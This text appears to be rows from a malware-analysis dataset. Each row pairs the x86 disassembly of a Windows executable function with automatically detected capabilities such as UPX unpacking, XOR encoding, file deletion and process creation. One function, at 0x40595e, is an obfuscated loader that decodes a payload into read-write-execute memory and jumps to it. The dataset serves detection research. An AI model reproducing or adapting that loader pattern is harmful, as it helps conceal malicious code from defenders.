joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430fd0
Capabilities:
Set environment variable

Disassembly:
sub esp, 4
cmp dword [esp + 8], 0
push ebx
push esi
push edi
push ebp
je 0x43120e
mov edx, dword [esp + 0x18]
push 0x3d
push edx
call fcn.00431300
add esp, 8
mov ebp, eax
test ebp, ebp
je 0x43120e
cmp ebp, dword [esp + 0x18]
je 0x43120e
cmp byte [ebp + 1], 1
sbb eax, eax
mov ecx, dword [0x43c950]
neg eax
mov dword [esp + 0x10], eax
cmp dword [0x43c954], ecx
jne 0x43102d
push ecx
call fcn.00431280
add esp, 4
mov dword [0x43c950], eax
cmp dword [0x43c950], 0
jne 0x4310dd
cmp dword [esp + 0x1c], 0
je 0x431064
cmp dword [0x43c958], 0
je 0x431064
call fcn.00430c20
test eax, eax
je 0x4310dd
mov eax, 0xffffffff
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
cmp dword [esp + 0x10], 0
je 0x431075
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
cmp dword [0x43c950], 0
jne 0x4310a9
push 4
call fcn.004252b0
add esp, 4
mov dword [0x43c950], eax
test eax, eax
jne 0x43109e
mov eax, 0xffffffff
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
mov eax, dword [0x43c950]
mov dword [eax], 0
cmp dword [0x43c958], 0
jne 0x4310dd
push 4
call fcn.004252b0
add esp, 4
mov dword [0x43c958], eax
test eax, eax
jne 0x4310d2
mov eax, 0xffffffff
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
mov eax, dword [0x43c958]
mov dword [eax], 0
mov esi, dword [0x43c950]
sub ebp, dword [esp + 0x18]
mov edx, dword [esp + 0x18]
push ebp
push edx
call fcn.00431220
add esp, 8
mov edi, eax
test edi, edi
jl 0x431145
cmp dword [esi], 0
je 0x431145
cmp dword [esp + 0x10], 0
je 0x43113c
lea ebx, [esi + edi*4]
mov eax, dword [ebx]
push eax
call fcn.00425260
add esp, 4
cmp dword [ebx], 0
je 0x431129
mov eax, dword [ebx + 4]
add ebx, 4
inc edi
mov dword [ebx - 4], eax
cmp dword [ebx], 0
jne 0x43111a
shl edi, 2
push edi
push esi
call fcn.00426b80
add esp, 8
test eax, eax
je 0x43118d
jmp 0x431188
mov edx, dword [esp + 0x18]
mov dword [esi + edi*4], edx
jmp 0x43118d
cmp dword [esp + 0x10], 0
jne 0x431204
test edi, edi
jge 0x431156
neg edi
lea eax, [edi*4 + 8]
push eax
push esi
call fcn.00426b80
add esp, 8
test eax, eax
jne 0x431178
mov eax, 0xffffffff
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
lea ecx, [eax + edi*4]
mov edx, dword [esp + 0x18]
mov dword [ecx], edx
mov dword [ecx + 4], 0
mov dword [0x43c950], eax
cmp dword [esp + 0x1c], 0
je 0x4311fa
mov edi, dword [esp + 0x18]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
inc ecx
push ecx
call fcn.004252b0
add esp, 4
mov ebx, eax
test ebx, ebx
je 0x4311fa
mov edi, dword [esp + 0x18]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
shr ecx, 2
mov esi, edi
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [esp + 0x10], 1
sbb eax, eax
lea ecx, [ebp + ebx]
mov byte [ecx], 0
lea ecx, [ecx + 1]
and eax, ecx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push ebx
call fcn.00425260
add esp, 4
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
mov eax, 0xffffffff
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
Function at 0x32f8310
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x32f84d4
pushal
mov esi, section.UPX1
lea edi, [esi - 0x11000]
push edi
or ebp, 0xffffffff
jmp 0x32f833a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x32f8341
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x32f8330
mov eax, 1
add ebx, ebx
jne 0x32f8353
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x32f8348
jne 0x32f8364
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x32f8348
xor ecx, ecx
sub eax, 3
jb 0x32f8378
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x32f83ea
mov ebp, eax
add ebx, ebx
jne 0x32f8383
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x32f8390
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x32f83b4
inc ecx
add ebx, ebx
jne 0x32f83a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x32f8395
jne 0x32f83b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x32f8395
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x32f83d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x32f83c5
jmp 0x32f8336
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x32f83d4
add edi, ecx
jmp 0x32f8336
pop esi
mov edi, esi
mov ecx, 0x387
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x32f83f2
cmp byte [edi], 2
jne 0x32f83f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x32f83f7
lea edi, [esi + 0x15000]
mov eax, dword [edi]
or eax, eax
je 0x32f8466
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x18424]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x184d8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x32f8424
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x184dc]
or eax, eax
je 0x32f8460
mov dword [ebx], eax
add ebx, 4
jmp 0x32f8441
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x32f8497
cmp al, 0xef
ja 0x32f848a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x32f846c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x32f8479
mov ebp, dword [esi + 0x184e0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x32f84cb
sub esp, 0xffffff80
jmp 0x32f1290
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40596d
pop dword [ebp - 0x30]
mov eax, 0xe49eff2e
sub eax, 0xe45ea5c1
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x981cca72
add dword [ebp - 0x40], 0xb6357ad9
mov dword [ebp - 0x3c], 0xaeec35a2
add dword [ebp - 0x3c], 0x834716a3
mov dword [ebp - 0x38], 0xeafd114f
add dword [ebp - 0x38], 0x614f32df
mov dword [ebp - 0x34], 0x7a9e1820
sub dword [ebp - 0x34], 0x7a9e1820
lea eax, [ebp - 0x40]
push eax
mov eax, 0x52bdc3c2
sub eax, 0x527d5362
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xe308496e
add dword [ebp - 0x40], 0x916a1fe8
mov dword [ebp - 0x3c], 0xe3d4721
add dword [ebp - 0x3c], 0x332f1a54
mov dword [ebp - 0x38], 0x67164dd6
add dword [ebp - 0x38], 0xfc591e96
mov dword [ebp - 0x34], 0x9641b12c
add dword [ebp - 0x34], 0x69be4ed4
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x39713
push 0
call eax
mov ecx, 0x7d404f54
sub ecx, 0x7d3ffc6d
xor ebx, ebx
add ebx, eax
mov edi, 0x5c1e1d90
add edi, 0xa422e270
add edi, dword [ebp - 0x30]
mov edx, 0xdead4582
sub edx, 0x53563c12
sub dword [ebp - 0x1c], edi
mov esi, dword [edi]
mov dword [ebp - 0x28], 0x2472270a
add esi, edx
xor dword [ebp - 0x1c], ebx
mov dword [ebx], esi
add ebx, 4
add edi, 0x875d6873
add edi, 0x78a29791
loop 0x405a8c
add eax, 0x13e6f
mov ebx, eax
add eax, 0xe83d0488
add eax, 0x17c2fb7d
mov ecx, 0x88655769
sub ecx, 0x88255769
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x402b08
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov eax, dword [eax + 4]
mov edx, dword [eax]
cmp eax, edx
mov dword [ebp - 4], edx
je 0x402b56
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
cmp dword [edx + 0x2c], 0
je 0x402b5a
mov ecx, dword [ebp - 8]
lea eax, [edx + 0x1c]
add edx, 0xc
push eax
push edx
push ebx
call fcn.00403015
lea ecx, [ebp - 4]
call fcn.0040516b
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
cmp dword [eax + 4], edx
jne 0x402b29
pop edi
pop esi
pop ebx
leave
ret 8
mov eax, dword [edx + 0x20]
mov esi, dword [eax]
mov dword [ebp + 8], esi
cmp dword [edx + 0x20], esi
je 0x402b40
and word [ebp - 0x210], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x20e]
rep stosd dword es:[edi], eax
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
stosw word es:[edi], ax
mov eax, dword [ebx + 4]
test eax, eax
jne 0x402b8f
mov eax, ecx
mov esi, dword [esi + 0x10]
test esi, esi
jne 0x402b98
mov esi, ecx
mov edx, dword [edx + 0x10]
test edx, edx
je 0x402ba1
mov ecx, edx
push eax
lea eax, [ebp - 0x210]
push 0x103
push eax
push 0x467104
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x402be3
mov eax, dword [ebp + 8]
lea esi, [eax + 0x1c]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
pop ecx
push eax
lea eax, [ebp - 0x210]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::assign_unsigned_short_int_const___unsigned_int_]
lea ecx, [ebp + 8]
call fcn.0040501f
mov esi, dword [ebp + 8]
mov edx, dword [ebp - 4]
jmp 0x402b62
Function at 0x407376
Capabilities:
Check if file exists
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
xor eax, eax
cmp dword [ebp + 8], eax
jne 0x407388
leave
ret
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll__snwprintf]
push edi
mov dword [ebp - 4], str.extensions
mov ebx, 0x103
jmp 0x4073a1
xor eax, eax
cmp dword [ebp - 4], eax
je 0x4074c6
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x208], eax
je 0x40748a
push dword [ebp - 4]
mov word [ebp - 0x414], ax
mov ecx, 0x81
xor eax, eax
push dword [ebp + 8]
lea edi, [ebp - 0x412]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x43d538
lea eax, [ebp - 0x414]
push ebx
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4074c6
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x4074c6
and word [ebp - 0x20c], ax
push dword [ebp - 4]
mov ecx, 0x81
lea edi, [ebp - 0x20a]
push dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str._s_s.bak
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40745f
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x4074c6
push 4
lea eax, [ebp - 0x20c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
jmp 0x4074c6
push dword [ebp - 4]
mov word [ebp - 0x61c], ax
mov ecx, 0x81
xor eax, eax
push dword [ebp + 8]
lea edi, [ebp - 0x61a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x43d538
lea eax, [ebp - 0x61c]
push ebx
push eax
call esi
lea eax, [ebp - 0x61c]
push eax
call fcn.00424430
add esp, 0x18
add dword [ebp - 4], 0x20c
cmp dword [ebp - 4], 0x43d524
jl 0x40739f
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40752c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x22ec
call fcn.00432650
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
cmp ebx, esi
je 0x407648
cmp word [ebx], si
je 0x407648
mov ax, word [0x467104]
push edi
mov word [ebp - 0x25c], ax
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x25a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x25c]
push 0x103
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, 0x411
xor eax, eax
lea edi, [ebp - 0x12a2]
mov word [ebp - 0x12a4], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll__snwprintf]
push 0x43caa8
lea eax, [ebp - 0x12a4]
push 0x823
push eax
call ebx
mov ecx, 0x411
xor eax, eax
lea edi, [ebp - 0x22ea]
mov word [ebp - 0x22ec], si
rep stosd dword es:[edi], eax
add esp, 0x10
stosw word es:[edi], ax
lea eax, [ebp - 0x12a4]
push eax
lea eax, [ebp - 0x25c]
push str._post
push eax
push str.__s___s_s
lea eax, [ebp - 0x22ec]
push 0x823
push eax
call ebx
add esp, 0x18
xor eax, eax
lea edi, [ebp - 0x50]
mov dword [ebp - 0x10], esi
push 0x10
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov word [ebp - 0x24], si
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x22ec]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
pop edi
je 0x407648
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
pop esi
pop ebx
leave
ret

Function at 0x4078f3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
and word [ebp - 0x210], 0
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x20e]
mov dword [ebp - 4], 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x103
push eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
pop edi
jne 0x407970
cmp word [ebp - 0x210], ax
je 0x407970
lea eax, [ebp - 0x210]
push eax
push 0x43caa8
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call dword [sym.imp.MSVCRT.dll__snwprintf]
add esp, 0x10
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x407f96
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
xor edi, edi
cmp eax, edi
mov dword [esp + 0x10], edi
jne 0x407fb2
cmp word [eax], di
je 0x4080f8
push edi
push 0x20
push 3
push edi
push 1
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4080f8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp ebx, 2
jb 0x4080f1
cmp ebx, 0xffffffff
je 0x4080f1
lea ebp, [ebx + 2]
mov dword [esp + 0x18], edi
push ebp
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
pop ecx
test edi, edi
je 0x4080f1
push ebp
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [esp + 0x18]
push 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ah, byte [edi + 1]
mov al, byte [edi]
cmp ax, 0xfeff
jne 0x408091
lea eax, [edi + 2]
test eax, eax
je 0x4080e4
mov ebx, dword [sym.imp.MSVCRT.dll_wcstok]
mov ebp, 0x43d7f0
push ebp
push eax
call ebx
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x4080e4
push esi
call dword [sym.imp.MSVCRT.dll_wcslen]
cmp eax, 0xe
pop ecx
jl 0x40808c
cmp eax, 0x14
jge 0x40808c
cmp word [esi + 8], 0x5f
jne 0x40808c
push 5
add esi, 0x12
push 0x43d7e4
push esi
call dword [sym.imp.MSVCRT.dll_wcsncmp]
add esp, 0xc
test eax, eax
je 0x4080dc
push ebp
push 0
jmp 0x40804d
mov ebx, dword [sym.imp.MSVCRT.dll_strtok]
mov ebp, 0x43d7e0
push ebp
push edi
call ebx
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x4080e4
push esi
call sub.MSVCRT.dll_strlen
cmp eax, 0xe
pop ecx
jl 0x4080d7
cmp eax, 0x14
jge 0x4080d7
cmp byte [esi + 4], 0x5f
jne 0x4080d7
push 5
add esi, 9
push str._auth
push esi
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
je 0x4080dc
push ebp
push 0
jmp 0x40809e
mov dword [esp + 0x10], 1
push edi
call fcn.0043259a
mov eax, dword [esp + 0x14]
pop ecx
jmp 0x4080fa
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4081bc
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get program files directory
Initialize iwebbrowser2
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
push esi
je 0x40836f
push dword [ebp + 8]
mov esi, dword [sym.imp.MSVCRT.dll_wcslen]
call esi
test eax, eax
pop ecx
je 0x40836f
mov edx, 0x81
push edi
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x236]
mov word [ebp - 0x238], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x43e]
mov word [ebp - 0x440], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
lea eax, [ebp - 0x440]
push 0x26
push eax
push ebx
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x10], 0x208
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x440]
push eax
push str._sInternet_Exploreriexplore.exe
lea eax, [ebp - 0x238]
push 0x103
push eax
call dword [sym.imp.MSVCRT.dll__snwprintf]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
add esp, 0x10
lea eax, [ebp - 0x238]
push eax
call edi
test eax, eax
jne 0x4082a1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x467104
push str.SoftwareMicrosoftWindowsCurrentVersionApp_PathsIEXPLORE.EXE
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
lea eax, [ebp - 0x238]
push eax
call edi
test eax, eax
jne 0x4082a1
mov word [ebp - 0x238], bx
lea eax, [ebp - 0x238]
push eax
call esi
pop ecx
pop edi
test eax, eax
jbe 0x4082d4
push 0xa
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x238]
push eax
push str.open
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x40836a
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push 0x436320
push 0x15
push ebx
push 0x4362e0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x40836f
mov eax, dword [ebp - 8]
cmp eax, ebx
je 0x40836a
lea edx, [ebp - 4]
mov dword [ebp - 4], ebx
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x94]
cmp dword [ebp - 4], ebx
je 0x408322
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp + 8]
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
lea edx, [ebp - 0x20]
mov esi, eax
push edx
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x20]
mov word [ebp - 0x20], bx
push edx
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 0x30]
mov word [ebp - 0x30], 8
mov dword [ebp - 0x28], esi
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xd0]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 1
pop eax
jmp 0x408371
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x409082
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor edx, edx
mov ecx, 0x468578
push 8
mov eax, edx
pop esi
test al, 1
je 0x40909c
shr eax, 1
xor eax, 0xedb88320
jmp 0x40909e
shr eax, 1
dec esi
jne 0x40908f
mov dword [ecx], eax
add ecx, 4
inc edx
cmp ecx, 0x468978
jl 0x40908a
pop esi
ret

Function at 0x409439
Capabilities:
Check mutex on windows

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, ecx
and byte [esi], 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x409495
push dword [esp + 0xc]
push 0
call dword [sym.imp.USER32.dll_FindWindowW]
mov edi, eax
test edi, edi
je 0x409495
push edi
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x409484
push 5
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push edi
call dword [sym.imp.USER32.dll_BringWindowToTop]
mov byte [esi], 1
mov eax, esi
pop edi
pop esi
ret 4
Function at 0x40a58e
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx], 0x67452301
mov byte [ecx + 0x68], al
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret
Function at 0x40df41
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
push edi
je 0x40df93
cmp dword [ebp + 0x10], esi
je 0x40df93
push esi
push 0x80000080
push 2
push esi
push 3
push 0xc0000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40df93
mov dword [ebp + 0x10], esi
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp + 0x10]
push eax
push esi
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push edi
jne 0x40df99
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp + 0x10], esi
sete al
jmp 0x40df95
Function at 0x40e730
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi]
call dword [eax + 4]
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x40e7af
cmp dword [ebp + 0x10], 0
je 0x40e7af
mov ecx, eax
shr ecx, 0x10
test cx, cx
jne 0x40e75c
movzx eax, ax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x40e7af
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
mov edi, eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40e7af
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x40e7af
and byte [esi + 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0x1c], 0
push 1
mov dword [esi + 8], eax
pop eax
mov dword [esi + 0xc], edi
mov dword [esi + 0x18], eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40e8be
Capabilities:
Check if file exists

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
je 0x40e8e8
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40e8e8
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov eax, dword [esi]
push edi
mov ecx, esi
call dword [eax + 0x10]
test eax, eax
jne 0x40e8ec
xor eax, eax
jmp 0x40e8fd
and dword [esi + 0x10], 0
and dword [esi + 0x1c], 0
push 1
pop eax
mov byte [esi + 4], al
mov dword [esi + 0x18], eax
pop edi
pop esi
ret 4

Function at 0x410135
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea ecx, [ebp - 4]
xor eax, eax
push ecx
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push 0x410068
push eax
push eax
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret